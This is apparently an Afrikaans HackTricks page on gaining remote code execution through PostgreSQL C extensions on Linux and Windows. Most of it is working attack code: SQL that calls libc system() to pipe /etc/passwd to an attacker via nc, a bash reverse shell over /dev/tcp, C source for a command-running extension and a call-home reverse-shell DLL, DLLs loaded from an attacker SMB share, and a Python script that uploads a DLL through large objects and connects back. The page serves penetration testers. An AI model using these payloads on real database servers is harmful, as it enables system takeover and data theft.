16 KiB
RCE met PostgreSQL Uitbreidings
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
PostgreSQL Uitbreidings
PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit moontlik maak om uitbreidings naatloos te integreer asof dit ingeboude funksies is. Hierdie uitbreidings, wat essensieel biblioteke in C is, verryk die databasis met bykomende funksies, operators of tipes.
Vanaf weergawe 8.1 is 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
Hou ook in gedagte dat as jy nie weet hoe om lêers na die slagoffer op te laai deur PostgreSQL nie, moet jy hierdie pos lees.
RCE in Linux
Vir meer inligting, kyk: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
Die uitvoering van stelselinstruksies vanaf PostgreSQL 8.1 en vroeëre weergawes is 'n proses wat duidelik gedokumenteer is en eenvoudig is. Dit is moontlik om hierdie: Metasploit module te gebruik.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Skryf binêre lêer vanaf base64
Om 'n binêre lêer in postgres te skryf, mag jy base64 moet gebruik, dit sal nuttig wees vir daardie saak:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
egter, toe dit op groter weergawes probeer is is die volgende fout gewys:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Hierdie fout word in die PostgreSQL dokumentasie verduidelik:
Om te verseker dat 'n dinamies gelaaide objeklêer nie in 'n onverenigbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n “magiese blok” met die toepaslike inhoud bevat. Dit stel die bediener in staat om voor die hand liggende onverenigbaarhede te detecteer, soos kode wat saamgekom is vir 'n ander hoofweergawe van PostgreSQL. 'n Magiese blok is vereis vanaf PostgreSQL 8.2. Om 'n magiese blok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat jy die koptekst fmgr.h ingesluit het:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
Sedert PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te benut moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n pasgemaakte biblioteek oplaai. Hierdie pasgemaakte biblioteek moet saamgekom wees teen die verenigbare hoofweergawe van PostgreSQL en moet 'n spesifieke "magiese blok" insluit. Hierdie maatreël verhoog die moeilikheidsgraad om PostgreSQL-stelsels te benut aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergawe-verenigbaarheid vereis.
Compile die biblioteek
Kry die PsotgreSQL weergawe met:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
Vir kompatibiliteit is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x-reeks suksesvolle integrasie verseker.
Om daardie weergawe in jou stelsel te installeer:
apt install postgresql postgresql-server-dev-9.6
En kompileer die biblioteek:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Dan laai die saamgestelde biblioteek op en voer opdragte uit met:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
U kan hierdie biblioteek vooraf saamgekompileer vind vir verskeie versies van PostgreSQL en kan selfs hierdie proses outomatiseer (as u PostgreSQL-toegang het) met:
{% embed url="https://github.com/Dionach/pgexec" %}
RCE in Windows
Die volgende DLL neem as invoer die naam van die binêre en die nommer van keer wat u dit wil uitvoer en voer dit uit:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
U kan die DLL wat in hierdie zip saamgepers is, vind:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
U kan aan hierdie DLL watter binêre uit te voer en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit calc.exe
2 keer uitvoer:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
In hier kan jy hierdie omgekeerde-shel vind:
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
Let op hoe in hierdie geval die kwaadwillige kode binne die DllMain-funksie is. Dit beteken dat dit in hierdie geval nie nodig is om die gelaaide funksie in postgresql uit te voer nie, net om die DLL te laai sal die terugskakel uitvoer:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Die PolyUDF projek is ook 'n goeie beginpunt met die volle MS Visual Studio projek en 'n gereed-om-te-gebruik biblioteek (insluitend: command eval, exec en cleanup) met multiversieondersteuning.
RCE in die nuutste PostgreSQL weergawes
In die nuutste weergawes van PostgreSQL is daar beperkings opgelê waar die superuser
verbied word om gesamentlike biblioteeklêers te laai behalwe uit spesifieke gidse, soos C:\Program Files\PostgreSQL\11\lib
op Windows of /var/lib/postgresql/11/lib
op *nix stelsels. Hierdie gidse is beveilig teen skryfoperasies deur óf die NETWORK_SERVICE óf postgres rekeninge.
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis superuser
om binaire lêers na die lêerstelsel te skryf deur "groot voorwerpe." Hierdie vermoë strek tot skryf binne die C:\Program Files\PostgreSQL\11\data
gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
'n Beduidende kwesbaarheid ontstaan uit die CREATE FUNCTION
opdrag, wat toelaat dat gidse deurgegaan word in die datagids. Gevolglik kan 'n geverifieerde aanvaller hierdie deurgang benut om 'n gesamentlike biblioteeklêer in die datagids te skryf en dit dan te laai. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
Aanvalstroom
Eerstens moet jy groot voorwerpe gebruik om die dll op te laai. Jy kan sien hoe om dit hier te doen:
{% content-ref url="big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}
Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
Note dat jy nie die .dll
uitbreiding hoef by te voeg nie, aangesien die create function dit sal byvoeg.
Vir meer inligting lees die oorspronklike publikasie hier.
In daardie publikasie was dit die kode wat gebruik is om die postgres uitbreiding te genereer (om te leer hoe om 'n postgres uitbreiding te compileer, lees enige van die vorige weergawes).
Op dieselfde bladsy is hierdie exploit om hierdie tegniek te outomatiseer gegee:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
Verwysings
- https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
- https://www.exploit-db.com/papers/13084
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.